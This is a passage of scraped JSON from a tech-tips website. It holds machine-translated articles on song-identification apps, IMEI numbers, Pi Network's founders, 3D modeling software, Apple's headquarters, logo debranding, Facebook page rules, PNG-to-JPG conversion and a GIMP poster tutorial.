https://itunes.apple.com/vn/app/musixmatch-lyrics-finder/id448278467\n  Another great name that you cannot ignore is the Musixmatch app. This is a specialized application that provides us with the largest collection of lyrics in the world, even the lyrics have been translated into more than 60 different languages. But what is remarkable here is its ability to identify songs very well. Musixmatch can accurately identify songs in the environment with a lot of noise and at a distance, the ability to identify Vietnamese music is very good even when new songs are released, it can still identify. This is something that the two applications above do not do. A pretty cool feature of it is that after identifying the song, the lyrics of that song will appear immediately and run to match the lyrics of the current song. It can be said that this is an indispensable application for music enthusiasts, so what are you waiting without downloading and experiencing.\nAbove are the top 3 software for identifying the best song names that TipsMake.com has introduced to you. Hopefully through the article you will choose for themselves an application that suits the needs. Thank you for watching!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkrKeWqcSivsRmnaiqXZ6xprrTop2yoZ6cerW0xGaZnqukYsCwusZmq6KsnJrAbrvNZqqmmaKpvam7zZ6q\n","link":"/post/top-3-software-for-identifying-the-best-song-titles-on-smartphones/","section":"post","tags":null,"title":"Top 3 software for identifying the best song titles on smartphones"},{"body":"The IMEI number is mysterious, ambiguous numbers, stamped around different parts of the phone. IMEI is often used to identify phones, but also makes some people wonder whether it can be used to monitor and perform nefarious activities. This article will tell you exactly what it is, how it works and how to find it on your phone.\nWhat is the IMEI number?   The IMEI number for the International Mobile station Equipment Identity (translated as \"Worldwide Mobile Device Identification Number\") is a number that is used to identify a device that uses a land mobile network. This is the network you use when making calls on your mobile phone or accessing Internet connection provided by a mobile provider through a data plan. It is called \"ground\" because it uses a planet-side, non-satellite antenna, to connect.\nBecause the IMEI standard is used for ground mobile network devices, ie 3G / 4G tablets, laptops with PCMCIA wireless Internet cards and other mobile devices are also tagged with the this number. If you have a dual SIM phone, you will see two IMEI numbers for each SIM slot.\nPurpose of IMEI number The IMEI number has a primary purpose of identifying mobile devices. The secondary purpose is to prevent theft. If a mobile device can be recognized in a general way, the thief cannot change the SIM card on the phone. The IMEI number is hard coded into device hardware, making it nearly impossible to change them without damaging the device.\nWhen the provider knows a device has been stolen, they can put that IMEI code on the blacklist and lock it from the network. Then tell other mobile networks to do the same.\nCan the government use IMEI numbers to track users?   The short answer is yes. However, it depends on many factors. If they can't add a name or a personal identification number to your IMEI number, they won't know who owns this phone. This is often a problem with prepaid customers. Since they did not sign a wireless service provider, there is no way to add an ID card to the IMEI number.\nIf you have a contract with a mobile service provider, the government may use a search warrant to access your IMEI information, track the number and location. So, even when exchanging on SIM card with a prepaid, you can still be monitored.\nHow to remove SIM on iPhone, iPad Government is not the only organization you need to worry about. Hackers can track you by IMEI number. However, both of these situations do not happen to ordinary citizens.\nDo all phones have IMEI numbers?   Because fake phones are not implemented according to regulations, they often lack IMEI numbers. In 2010 India encountered problems with these devices and they tried to fight problems for years. The answer to this question is \"No, some devices do not have an IMEI number, but they are often illegal\".\nIs your IMEI number valid? A fake phone number has a fake IMEI number. The easiest way to check the validity of an IMEI manually is to use the Luhn formula to verify the identification code. If you want an easier way to check IMEI is to use online test sites like IMEI.Info.\nHow to find the IMEI number on the phone   See the Instructions for finding IMEI and Serial Number on Android and iOS devices to check your IMEI number.\nHow to check the IMEI number Now that you have your IMEI number, check that it is a valid IMEI number. There are many websites for you to enter the IMEI number such as imei.info to see the list of exact specifications and device information. Another site is imeipro.info, which allows you to use your IMEI number to check if your phone is listed / reported as lost or stolen, in case of buying an old phone.\n  See more:\nInstructions for checking the origin of Android and iOS phones The secrets about IMEI and cell phone tracking are lost ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJutcyeoGampaKvpr4%3D\n","link":"/post/what-is-the-imei-number/","section":"post","tags":null,"title":"What is the IMEI number?"},{"body":"In it, Nicolas Kokkalis is considered the \"soul\" of Pi Network. He is a Greek professor who teaches at Stanford University (USA), specializing in computer science and blockchain technology.\nHe is also the founder of the online gaming platform Gameyola which won the Facebook Foundation Award in 2009. Before blockchain and Ethereum (ETH) were born, he wrote his thesis on the topic of Smart Contract on cryptocurrencies. Vitalik Buterin - the creator of ETH cryptocurrency is the student of Nicolas Kokkalis.\n Before implementing the Pi Network project, Nicolas Kokkalis had many years of research on cryptocurrencies\nBesides professional activities, Nicolas Kokkalis is also CTO of StartX - fund that supports Stanford students to start businesses. Since its inception in 2011, StartX has helped 1,300 successful startups, including more than 700 unicorn companies such as Branch, Lime, Life360, Patreon, Poynt, Kodiak Sciences .\nStartX's investors and partners include Amazon, Google Cloud, GitHub, BREX, DAIKIN, Sumimoto bank, Silicon Valley bank, pharmaceutical company AstraZeneca . Stanford University and Stanford Health alone have invested 200 million USD to fund members of the StartX community.\nSince 2017, Nicolas Kokkalis confirmed that StartX is expanding its own blockchain accelerating platform, under which all StartX incubation projects will become part of the platform. In the future Pi Network will become the virtual currency created for the StartX ecosystem.\nOn the Pi Network homepage, Nicolas Kokkalis describes himself as follows: \"I am a strong believer in the technical, financial and social potential of cryptocurrencies, but disappointed with the current limitations. I am committed to bringing the power of blockchain to many people by improving experience and building value for everyone.I am working on this project with a user-centric to island philosophy. Reverse the development of new blockchains: Launch in Beta, invite members to the network, repeat the protocol with those members and decentralize the design results. Pi Network - the new cryptocurrency and a peer-to-peer network that currently operates in more than 150 countries and is introduced in 32 languages.\u0026nbsp;\n Dr. Chengdiao Fan is from China\nBesides Professor Nicolas Kokkalis in charge of engineering, not to mention Dr. Chengdiao Fan majoring in Anthropology from Stanford University. Ms. Chengdiao Fan focuses on human-computer interaction and social computing, in particular how we must use technology to positively impact human and social behavior. She also founded a startup and built an email production platform that expands conversations through community services.\n Mr. Vincent McPhillip was from the island nation of Trinidad - Tobago\nMr. Vincent McPhillip - leader of Pi Network community is a member of Stanford Blockchain Research Center. After graduating with a BA in Political Science from Yale University, Vincent McPhillip did not follow Wall Street banking, but joined the nonprofit Bridgespan company to deploy hundreds of millions of dollars for education and development. Workforce for communities across America.\nComing from different countries, the trio of founders of the Pi Network represent ethnic integration and share the same goal of using the Pi so that the global population can participate in the world of crypto.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kxKm7jKKqZqyYmnqnrdOhnKtln5t6sbWMp5ytr5%2BnuA%3D%3D\n","link":"/post/who-is-the-father-of-pi-network/","section":"post","tags":null,"title":"Who is the 'father' of Pi Network?"},{"body":"3D modeling tools help turn personal ideas into beautiful models and prototypes in many areas. These tools allow building and customizing a primitive word model, whether you are a beginner or a professional engineer. Popular in many different industries like movies, animation, games, architecture and interior design, 3D models are an important part of various projects.\nChoosing the optimal modeling software is often difficult due to the different aspects and features available in these tools. To help you choose, here is a list of 20 3D modeling software for individuals or professional users.\nWings 3D   Wings 3D is an advanced software, offering many modeling tools and customizable interfaces, along with AutoUV integrated mapping tool. It is also a tool to export popular 3D formats. However, although there are many great features such as mirroring symmetrical virtual models, Wings 3D does not support dynamic effects for users.\nCompatible operating system: Windows | macOS | Linux\nLink download: http://www.wings3d.com/?page_id=84\nDaz Studio   Daz Studio, a powerful and free 3D modeling software, may not be easy for beginners to use, but it gives users a very feature-rich experience. This software allows you to create 3D works with real-time graphics rendering GPU acceleration and amazing realistic image results. Parallel to the same features as on Wings 3D, this software also supports dynamic effects as well as the surrounding context of the model.\nCompatible operating system: Windows | MacOS\nDownload link: https://www.daz3d.com/get_studio\nOpen SCAD   Open SCAD is a free 3D modeling software for Windows, Mac OS and Linux operating systems. Open SCAD focuses more on the CAD aspect (Computer Aided Design, meaning computer-aided design) in creating models rather than artistic aspects. Unlike many other software listed in this article, Open SCAD is not an interactive modeling software but a 3D programming software that can read every detail of the object for display 3D model on the screen.\nCompatible operating system: Windows | macOS | Linux | BSD\nDownload link: http://www.openscad.org/downloads.html\nAutoDesk 123D   Not only is a CAD and 3D modeling software, AutoDesk 123D even supports 3D printing technology. AutoDesk 123D includes many different tools to create, design and display 3D models. The site also has more than 10,000 free 3D models for reference, fun tests or for use in personal projects.\nCompatible operating system: Windows | macOS | iOS | Android (coming soon)\nDownload link: http://www.123dapp.com/design\nMeshmixer 3.0   Meshmixer 3.0 allows designing and creating 3D designs by combining two or more models with a few simple steps. It follows a simple cut and paste process, and even supports sculpting, ie casting and refining the real-time surface like when creating clay. This software supports 3D printing by taking input design patterns and sending models to 3D printers.\nCompatible operating system: Windows | macOS\nLink download: http://www.123dapp.com/meshmixer\n3DReshaper   3DReshaper is an affordable and easy-to-use 3D modeling software dedicated to handling 3D models. This software is used in many different areas such as art, mining, civil construction and shipbuilding. 3DReshaper has support for different scenarios and textures, as well as features that make modeling easier.\nCompatible operating system: Windows\nLink download: http://www.3dreshaper.com/en/software-en/download-software/current-release-software\n3D Crafter   3D Crafter is a real-time 3D modeling and animation tool combining intuitive drag and drop methods. Complex models can be built using simple 3D shapes, and this software will support shaping and printing. This is an advanced tool for creating animated effects.\nCompatible operating system: Windows\nDownload link: http://amabilis.com/downloads/\nPTC Creo   Creo is a comprehensive system for mechanical engineers and model designers to create products using CAD direct 3D modeling approach. Direct models allow creation of new designs based on existing designs or new ideas. Therefore, changes in an object's geometry can be done quickly and easily. This is a premium program but there is a 30-day free trial as well as a free version for students and teachers.\nCompatible operating system: Free trial for Windows\nDownload link: http://www.ptc.com/Products/free-downloads\nLeoCAD   LeoCAD is a CAD program for creating virtual LEGO models, compatible with Windows, Mac OS and Linux operating systems. Acting as an alternative to LDD software, this software has an easy-to-use interface, supports the main frame and operates in dynamic mode. This is also the step that this software supports best in the whole process.\nCompatible operating system: Windows | macOS | Linux\nDownload link: https://drive.google.com/a/hongkiat.com/folderview?id=0B4QpN1vpGh_sUWJZSkVVaEtzcW8\u0026amp;usp=sharing#list\nVUE Pioneer   Pioneer helps create vast terrains by displaying surreal landscape images. It is very useful for professional users who are looking for a rendering program. This software helps create amazing 3D scenery with a variety of pre-installed elements, and it also allows direct access to Cornucopia 3D content. The software also supports light and shadow effects.\nCompatible operating system: Windows | macOS\nLink download: http://www.cornucopia3d.com/products/vue/vue_2015_pioneer/?page=download\nNetfabb   Supported for popular platforms like Windows, Mac OS and Linux, Netfabbis not only allows users to view but also can analyze and edit 3D models. The software also supports 3D printing, and is the most compact tool compared to competitors in terms of capacity.\nCompatible operating system: Windows | macOS | Linux\nLink download: http://www.netfabb.com/downloadcenter.php?basic=1\nNaroCAD   NaroCAD is a comprehensive and scalable CAD model application. This software is based on OpenCascade technology and supports both Windows and Linux platforms. NaroCAD supports both basic and advanced 3D modeling operations, and can be expanded through programming interfaces and plugins.\nCompatible operating system: Windows\nLink download: http://narocad.com/downloads/\nLego Digital Designer   Lego Digital Designer is referred to as LDD, created by LEGO Corporation, compatible with Windows and Mac OS operating systems. The program allows building models using virtual LEGO bricks. This software has an export feature, allowing created models to be opened and edited in other 3D modeling software.\nCompatible operating system: Windows | macOS\nLink download: http://ldd.lego.com/en-us/download/\nZCAD   ZCAD can be used to create 2D or 3D drawings. This software supports different platforms but also provides great views and different tools to reduce the burden of modeling tasks. Its user interface is easy to understand and the drawing process is quite simple. Completed designs can be saved in AutoCAD format as well as many other popular formats.\nCompatible operating system: Windows | Linux\nDownload link: http://sourceforge.net/projects/zcad/\nHoudini Apprentice   Houdini Apprentice is a free version of Houdini FX. Houdini Apprentice can be used by students, artists and hobbyists to create non-commercial 3D model projects. In addition to a limited graphics rendering, image copyright on 3D graphics rendering, and a few other minor limitations, Houdini is a tool with many features on a great interface.\nCompatible operating system: Windows | macOS | Linux\nLink download: http://www.sidefx.com/index.php?option=com_download\u0026amp;task=apprentice\u0026amp;Itemid=208\nDesignSpark   With a design spreadsheet, DesignSpark allows users to create highly detailed 3D designs. The software promises to offer users easy-to-use features to eliminate difficulties in making modifications and additions to 3D products quickly. DesignSpark also supports direct modeling techniques as well as 3D modeling of your model.\nCompatible operating system: Windows\nLink download: http://www.rs-online.com/designspark/electronics/eng/page/mechanical\nFreeCAD   FreeCAD is a parametric 3D modeling software developed primarily to design realistic objects of any size. The software is easy to modify the design by using model history and changing parameters. This program is a cross-platform tool (Windows, Mac OS and Linux) that allows reading and writing different file formats. The software also allows you to build your own modules or embed them in your customized application.\nCompatible operating system: Windows | macOS | Linux\nDownload link: http://www.freecadweb.org/wiki/?title=Download\nSculptris   Sculptris provides a great door to enter the exciting 3D world. Its features are easy to learn, navigate and use, even for people with no digital experience or model creation. It eliminates geometrical concerns during the design process and will dynamically divide the model, better processing resources in your computer.\nCompatible operating system: Windows | macOS\nLink download: http://pixologic.com/sculptris/features/\nMeshMagic 3D   MeshMagic 3D helps create 3D rendering files and draw 2D objects or convert 2D designs to 3D. This is an easy and intuitive 3D design software for users in many different areas. Although the software currently only supports Windows operating systems, it also allows saving output files in popular STL format, open and editable formats in many other online and offline 3D modeling tools. together.\nCompatible operating system: Windows\nLink download: http://www.nchsoftware.com/meshmagic3d/\nOpen Cascade   Open Cascade is a software development kit (SDK for short) to develop 3D CAD data processing applications. It includes regular and special C ++ libraries, providing 3D modeling utilities, data display, rapid exchange and application development.\nCompatible operating system: Platform of many mobile and desktop computers.\nDownload link: http://www.opencascade.com/content/download-center\nHave you used any of the above 3D modeling software? Where is the software you like best? Please let us know your answer through the Comments section below!\nSee more:\nTop 5 free game development software tools Invite you to create 3D faces only from a quick photo with this AI 10 impressive design tools need to try now ncG1vNJzZmismaXArq3KnmWcp51kf3F5xaucnmVjmXquu8Oeo6Kml2LAsLLTsJirnQ%3D%3D\n","link":"/post/20-free-3d-modeling-software/","section":"post","tags":null,"title":"20 free 3D modeling software"},{"body":"The final \"product\" of Steve Jobs - is Apple's latest headquarters in Cupertino, California - is a \"future\" campus, focused on every detail. From the arrangement of the wiring system, to how to place the underground pipes, every small part of the building system with an area of ​​260,000 square meters has been meticulously cared for.\nBut, building a building perfectly is not an easy task - the members who participated in the building's construction process have the same idea.\nSince Apple announced its plan to build a new \"headquarters\" in 2011, the time when the group will officially relocate its headquarters has to be stepped back. Steve Jobs's original plan was to complete this project by 2015, but according to people involved in the project, it was not until the spring of this year that everything was officially finalized. The procedure for getting the city approved the \"contribution\" project is not small to this delay.\n Compare old and new Apple \"headquarters\" parameters\nApple has not disclosed any official information about the cost of building a new \"headquarters\", but the former manager of this project estimates that this amount will be about $ 5 billion . Of which, more than $ 1 billion was spent on the interior of the main building.\nWith such a project that takes so much time and effort, some people in architecture have \"questioned\" whether Apple is investing in the right direction or not. According to professor Louise Mozingo at UC Berkeley, the headquarters is \"outside\" the tendency of \"open\" offices to be built to enhance the efficiency of cooperation at work. The main office building - a giant ring of glass, compared to a spaceship - can make it difficult for people to travel back and forth.\n\"Apple's goal is not to maximize the efficiency of the office, but to create a symbolic space for the group,\" Ms. Louise added.\nAn Apple spokesman declined to comment on this issue.\nThe largest glass ring in the world\nAccording to the 2013 plan, when completed, Apple's headquarters can accommodate a maximum of 14,200 employees. The main building, where the largest glass ring in the world, will be covered by thousands of green canopy. There will be almost nothing left of the cement-filled campus Apple has received from HP, except for a rudimentary house that is a century old and is \"preserved\" by the corporation.\nBut what surprised the people involved in this project was that Apple's management considered the construction of the new headquarters, the same way they designed and manufactured pocket electronics.\nAnd so, there are many laws laid down in the design and construction process, such as: No pipes are allowed to reflect on the glass surface, along with more than 30 pages of instructions on the specific types of wood used. in building construction.\n Differences in the distance and size of the material, is also what Apple focused attention.For normal projects, the maximum allowed size error is about 1/8 inch; however, the error this group requires is much smaller - even for the underlying architecture.\nApple's sharp design capabilities contribute significantly to increasing the quality of this project, but their expectations are not always consistent with the actual conditions of construction - an architect. share idea.\n\"You can limit very small errors in the manufacturing process of the phone. However, with large designs such as buildings, such errors are completely unstable. . - This architect adds.\nThis project provides full-time jobs for about 13,000 construction workers, but also creates a significant pressure on contractors.The first two contractors, Skanska USA and DPR Construction, gave up shortly after the project began - which, according to architectural experts, is extremely rare for such a large project. The cause of this is still a mystery. Neither Apple, nor its stakeholders, declined to comment on this matter.\nLoyal to the design principles\nApple's creativity in this new \"Headquarters\" manifests itself in many respects. Architect German de la Torre, points out that a lot of the details of this project are \"faithful\" to Apple's product designs, such as at the corners of a building. The elevator button looks quite similar to the \"Home\" button on iPhones.\n\"After years of experimenting, perhaps they have created a 'set of rules' of design, and Apple products just 'follow that' only,\" de la Torre said.\nAt the beginning of the project, Apple's management told the construction department that the ceiling - made up of carefully polished large concrete slabs - needed to be \"spotless\" from the inside out. And so, thousands of concrete ceilings, one by one, have to undergo thorough inspection and supervision from both Apple and the contractor, once at the point of sale and once at construction site.\n\"Even the invisible parts of the building are important to Apple.\"\n One of the most controversial issues during the construction process, lies in the doors. Apple wants their doors to be absolutely flat, not threshold. Despite all comments of the construction team, Apple still upheld its opinion.\n\"We have spent months trying to find ways to avoid this problem, because the amount of time and effort it takes, especially this has never been done before.\"\nAnd so, over and over, Apple supervisors spent the entire month monitoring and perfecting the smallest details, creating a chain effect that made the progress of the construction areas. Other were also pushed back.\nThe installation of signs and signs should also be balanced: both to ensure the aesthetics of the minimalist design required by Apple, but also to ensure that in an emergency such as a fire, can help people leave the building quickly and conveniently.\nAccording to Dirk Mattern, representing Santa Clara's fire headquarters, he had to attend no less than 15 meetings about these signs.\n\"From childhood until now I have never spent much time with signs like that\" - he shared.\nAs a picture\nWhen Apple contacted Holder Construction and Rudolph \u0026amp; Stetten to complete the main construction phase in 2015, one of the first issues discussed was the doorknob for offices and meeting rooms.\nAfter many months of work, the final product has been \"passed\" by an inspection committee at Apple. And although, according to the construction team, the door handle is \"inch-by-inch\", Apple still asks for another product.Even a year and a half later, after much debate, Apple has not achieved satisfaction with its door handles.\nWhen the construction is completed, perhaps, the only fingerprint match that can be found at the site will belong to Steve Jobs. Because of this, workers often wear gloves to avoid damaging delicate construction materials.\n\"This is like a picture you never could have touched,\" said Brett Davis, regional director of the District 16 handicraft board. \"This is a must-visit place, if Apple agrees to let you set foot in their headquarters,\" he added.\nConsult Reuters / Venture Beat\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjKGcmpyhqq6zwMSrqmaZoKW5pnnRnpicoJWZerW0xGannqqWmrC1ecuipKKsXaSzbq%2FOp6qtqqWYwaq7zWZqaWWglrSmv4yonWahnqjBs8HCraCopqNivK951qimnWVhYq6vsIyaZKGZnJt6urHAq6pmp55iwamxjJ2mqKpdna6vsMueZKeZnqS6psDEq2SsrJGjsaK%2Bw2Y%3D\n","link":"/post/30-pages-of-instructions-on-wood-1-and-a-half-years-on-the-door-handle-nanometer-standard/","section":"post","tags":null,"title":"30 pages of instructions on wood, 1 and a half years on the door handle, nanometer standard ..."},{"body":"In the early summer of 2016, MasterCard revealed a new logo design and following the brand renewing trend (rebranding), the changes were very subtle: The company kept the image of two red and gold balls with one part overlapped, the text part alone has been changed. Previously, the word \"MasterCard\" was embossed and placed in the center of the logo, now it has been moved down to the position under two balls and written down: \"mastercard\".\nAccording to MasterCard, with the development of the trend, it's clear that it's time to leave the name completely off the logo. The focus should be on symbols rather than words.\n  MasterCard's change reflects a broader transition in some of the widely recognized global brands: reducing the emphasis on text or removing it entirely from the logo.\nNike was one of the first brands to change the logo to this trend, that was in 1995 - when the Swoosh logo had the slogan \"Just Do It\" and then, there was no word at all. on the logo. Apple, McDonald's and other brands also move in this trajectory: aiming to use a wordless logo after a period of converting many logo styles with taglines like \"Think Different\" or \"I'm lovin 'it\" .\n  This transformation seems to be consistent with a more logical approach to design as well as some typical characteristics of the modern economy: Icons work better than long names on apps and screens. computer; and they also allow for greater flexibility if the company wants to join multiple fields at the same time. For example, names like Starbucks Coffe and MasterCard are closely tied to specific products in ways that symbols cannot show. This would be detrimental if it was time for a company producing phones to expand into more cars. In addition, visual cue can also be suitable for promoting the brand to more countries because they have eliminated the need to use translation tools (no text on the logo anymore, meaning is that users can freely guess the meaning of the logo in their own way, and brands need not \"translate\" the content on their logo.\nBut perhaps the most powerful impetus for the creation of these \"slimy\" logos is that the growing difficulty of reaching buyers when there are so many customers now is skeptical of large corporations. A recent survey conducted by PR provider Cohn \u0026amp; Wolfe found that four-fifths of global consumers now view brands that are not open and untrue. \"Customers were fed up with advertising in a way that a few decades ago, they were not,\" said Adam Alter, associate professor of marketing at New York's Stern School of Business. \"It's hard to appeal to them like before and now, they tend to look for public offers.\" As a result, this also leads to a change in brand strategy. \"Companies are forced to learn about sophistication.\"\n  That change is what is called \"debranding\" (the form of removing names or names on products) or \"decorporatizing\" (this is to make sense of disappearing the feeling of a large corporation) - a strategy based on a narrower idea that can only be deployed by the best-known brands. Some markerers believe that debranding can make global brands \"less of a more specific organization\" and \"more personal\" to consumers. Because the wordless logos can stimulate many immediate and personal reactions - it is very important in the media environment with numerous distractions and distractions.\nAccording to Jill J. Avery, senior lecturer at Harvard Business School, \"Researchers have demonstrated the use of visual images (visual imager) [in comparison with images shown in words. - verbal imagery] in advertising will increase consumer attention and challenge them to interpret and understand the brand's message in a more proactive way than words . Clarification process or \"self-production\" will produce mental image quality (an explanation of things / images formed in one's mind based on their memory or imagination, just It's just fake) is higher and in many cases is a more personal understanding of the message of advertising \".\n  In short, debranding makes it easier to create connections based on two red and gold balls than adding MasterCard to the image center.\nThe demand for individuality and friendliness is particularly relevant for young people - the target market for many global consumer goods manufacturing companies. It is likely that these two factors also impact MasterCard's branding decision.\nBecause of an increasing number of consumers - especially young people - prefer to trade on the phone rather than using cash or cards and want to avoid having to face credit card debt a worry The concern for MasterCard investors is that the company still has no place in the mobile payment market. Meanwhile, PayPal - another brand that has refreshed its image a few years ago by reducing the emphasis on its name in the logo - has quickly built a user database. Millennial generation (who was born between 1980 and 2000) is very significant - including quite a good number of loyalists to Venmo - a very popular mobile payment application that was later PayPal repurchase.\nThe benefits of debranding form are extremely great. For example, one of the most successful deployments of this trend is Coca-Cola's \"Share a Coke\" media campaign. Basically, users will have the opportunity to encounter very popular names printed on coca bottles, such as Sarah or David and are encouraged to share these bottles of water for friends and family. As a result, the campaign has boosted US sales by more than 2%, also reversing the decline in Coca-Cola's sales figures in the United States over the past decade.\n  The advertising industry likes to call this type of marketing \"authentic\". Cohn \u0026amp; Wolfe annually collects a list of \"the world's most trusted brands\", drawn from participatory surveys of nearly 12,000 consumers in 14 countries. This year's top 20 also includes PayPal, Coca-Cola and MasterCard.\nObviously, trustworthy are very funny things in the marketing field: Affirming the credibility of something is unreliable. However, at a time when users increasingly value companies that create things that are more truthful than show their growth, credibility is so significant that marketers start to feel more difficult. when distinguishing between the two concepts.\nncG1vNJzZmismaXArq3KnmWcp51ksaau0ZqlnaGenHqiusNmq6GdXZq%2FonnOn2StoJViu7B51qipnatdobyouw%3D%3D\n","link":"/post/debranding-and-the-era-of-the-no-words-logo/","section":"post","tags":null,"title":"Debranding and the era of the 'no words' logo"},{"body":"On January 23, Facebook announced a series of enhancements to features that help improve the content of the pages and active groups on their systems.Specifically, these features are responsible for ensuring that the content shared on the Facebook platform is subject to Community Standards, and that intentional infringements will be subject to The punishment is very heavy.\n  Starting today, 24/1, a new tab called \"Page Quality\" will be added to Facebook's management console.Page Quality will allow managers to see information about platform violations of the platform deleted by Facebook, or detected and evaluated by third party system administrators as fake news. .\nRenting a Facebook account to run ads, new services contain many incalculable dangers \"The new Page Quality tab is designed to help Administrators who directly manage Facebook pages and groups understand that the community they are responsible for must strictly abide by the general principles and standards of us, \"said a Facebook spokesperson.\nThe Page Quality tab will consist of two main parts:\nRecent content has been removed by Facebook for violating the terms specified in Facebook's community standards. Content has recently been rated and rated as 'False - Violation', 'Mixture - Mixed'.or 'False Headline' by supervisors or system administrators of third parties. Posts deleted because of spam, clickbait or IP violation will not be included in the Page Quality tab.In addition, the admin will still be able to see the content deleted because of violations of popular community standards such as hate speech, violence, harassment, insult, nudity, or Sexual activities and events banned on the platform .\n  In addition, Facebook will update the recidivism policy to ensure that owners of pages and groups that have previously seriously violated policies, terms of service and community standards. will not be able to recur the same behavior for the page or group they are managing at the present time or in the future.\nInfringement of privacy, Facebook faces a million-dollar fine This second measure will be implemented and implemented in the near future, and will ensure that the pages and groups that have violated will no longer be able to break Facebook's rules one more time.\n'To solve this problem thoroughly, we may delete pages or groups that violate our policies strictly. And in particular, communities as well as public administrators who have violated common rules will also be more targeted by Facebook '.\nSee more:\nWhat secret is behind the trend of posting 10-year photos on Facebook? Samsung smartphone users cannot delete the pre-installed Facebook application Mark Zuckerberg: 'I'm proud of the progress Facebook has made after a difficult year'. Top most unreliable technology companies in 2018, Facebook tops the list ncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdoq66ecKlpqydXam1pnnPmp6eq12kv26z0aisqatdpLNurcKcpq6mpKh6tbTArWShmaaaerSx0aKmrqucrnq3tc6lmK2dlGK9sLjInKCeq12Wu6V5056ppqtdpLNuv8SrraKblQ%3D%3D\n","link":"/post/facebook-may-close-the-pages-or-groups-of-accounts-that-have-seriously-violated-policies-and-terms-of-service/","section":"post","tags":null,"title":"Facebook may close the pages or groups of accounts that have seriously violated policies and terms of service"},{"body":"The PNG file format is usually of a higher quality, but sometimes the PNG file size may be too large, which makes it difficult to edit images on weak devices. In today's article, TipsMake.com shared with readers how to convert PNG images to the common and lighter image format, which is JPG image file without loss of image quality.\n  1. Use the Paint tool Instead of using professional photo-editing software, the Paint tool pre-installed on Windows computers makes it possible to convert PNG images to JPG without losing much quality.\nStep 1: Right-click on the image file PNG (1) =\u0026gt; Open with (2) =\u0026gt; Paint (3) .\n  Step 2: Click Menu (1) =\u0026gt; Save as (2) =\u0026gt; JPEG picture (3) .\n  Step 3: Choose where to save the file, name the file (1) , select the file format is jpg (2) and Save (3) .\n  2. Use Photoshop software Photoshop software is a powerful image editing tool, so we can safely edit and convert PNG images to JPG without compromising on quality.\nStep 1: You open the PNG image with Photoshop. Next, click the File menu (1) =\u0026gt;\u0026nbsp; Save As . (2) .\n  Step 2: You name the image file (1) , choose the image format is JPG (2) and Save (3) .\n  Step 3 : You set the Quality (1) to Maximum (2) =\u0026gt; OK (3) .\n  3. Use Ezgif's online PNG to JPG converter Step 1: You access the website https://ezgif.com/png-to-jpg\nNext, click on Choose file to upload the image file to the site.\n  Step 2: Click the image file (1) =\u0026gt; Open (2) to upload it to the website.\n  Next, click Upload to complete the upload process.\n  Step 3: Choose the image format as JPEG  (1) =\u0026gt; drag the image quality ( JPG image quality factor ) to the highest level (2) =\u0026gt; Convert PNG! (3) .\n  Step 4: After the conversion process is complete, click Save to download the converted image to your computer.\n  5. Convert PNG images to JPG with XnConvert software XnConvert is free software with professional and fast image processing tools. You can convert dozens of image files at once or an image folder to popular formats in a moment without affecting image quality.\nStep 1: You need to download and install the software by following the link below.\nhttps://www.xnview.com/en/xnconvert/#downloads\nAfter opening the software, click Add file to add the PNG image to convert to JPG .\n  Step 2: Choose the image file to convert (1) =\u0026gt; Open (2) .\n  Step 3: On the software, you switch to the Output card (1) select the JPG format (2) in the Format section and click on the Settings . (3) .\n  Step 4: Drag the Quality slider to the right (Best) (1) to convert the image with the best quality. Next, click OK (2)  to save the settings.\n  Step 5: After setup is complete, click the Convert button to start the conversion process.\n  Step 6: After the notice as shown below, you have successfully converted the PNG image to JPG. After that, you should remember the address highlighted in the image below and follow the path to open the converted image file.\n  By converting PNG files to JPG files, we can save a lot of memory because PNG images are usually 3-4 times larger than JPG images. In addition, the JPG image format is also a \"universal\" format and can be read on any device.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmmGaonpx6p7XLnmStp12Wequ8xmabqJ2jYruwwIyrnJ2tk5p6qrnAoJxmqaWWuarA2A%3D%3D\n","link":"/post/how-to-convert-a-png-file-to-a-jpg-does-not-reduce-image-quality/","section":"post","tags":null,"title":"How to convert a PNG file to a JPG does not reduce image quality"},{"body":"Do you believe you can design an impressive movie poster without going to Photoshop? That's right, in this tutorial, TipsMake.com will show you how to create a great movie poster by drawing, editing and free GIMP graphic design.\n(The version used in this article is 2.9.8, also called Development Version ).\nMovie poster design with GIMP tool 1. Create a new image 2. Enter the image 3. Rotate and adjust the image size with the Transform tool 4. Create a 'Black Hole' layer 5. Create Event horizon 6. Add the main text 7. Add the caption text 8. Add astronaut images 9. Add release date 10. Add Zoom Motion Blur effect 11. Add Vignette layer 12. Add the name of the cast 1. Create a new image   Start by creating a new image of any size you like. There are a few standard sizes for posters, but the article will use 24x36inch (60x91cm). The resolution of the image is set to 72ppi in advanced options to ensure the file size is not too large. But usually, for the best print quality, the resolution should be at 300ppi. This resolution may cause the warning appearing in GIMP to indicate that the file size will be very large. But if the computer can handle such large files, just click OK to create the image.\nOPTION: You can also change the 'Precision option' to '32 -bit floating point ' and optionally ' Gamma ' to ' Linear Light ' if you want to make the most of GIMP's capabilities with high-performance computers. , there is more RAM to handle the job.\n2. Enter the image   After the canvas is empty, open the image in GIMP by going to File\u0026gt; Open and locating the file on the computer. Users can also just click and drag the file from its location into the GIMP canvas and the image will be placed on its own layer (the file name matches the layer name).\n  Or, if you open the image using the first method, the user will have to go to Edit\u0026gt; Copy on the imported image.\n  Then select the tab (if you're using one-window mode) containing an empty canvas in GIMP and select Edit\u0026gt; Paste . This step will create a layer containing the floating selection.\n  Click on the layer containing the floating selection and click on the 'Create new layer' icon in the Layers panel . This will add the image to its own layer.\nDouble click on the layer name in the Layers panel and change the name to 'Galaxy'.\n3. Rotate and adjust the image size with the Transform tool   Next, with the Galaxy layer selected, click on the Rotate tool and click on the Galaxy image. The 'Rotate' dialog box will appear. In the example case, we will rotate the image 90 degrees, so enter 90 into the Angle section . Then click the Rotate button . Depending on the size of the image in use, it may take several seconds or longer to apply the effect.\n  The reader may notice that the image is much larger than the canvas, so select the Scale tool and click the image to display the Scale dialog box . Make sure the unit is set to inch and we will reduce the size of the image so that it is slightly larger than the canvas (the canvas size is 24 × 36inch and the image size will be about 47 × 84inch). To do this, make sure the chain link icon is locked (to keep the ratio between width and height), then set the width to 25inch. Height will automatically adjust accordingly. After that, users can click on the 4 boxes in the middle of 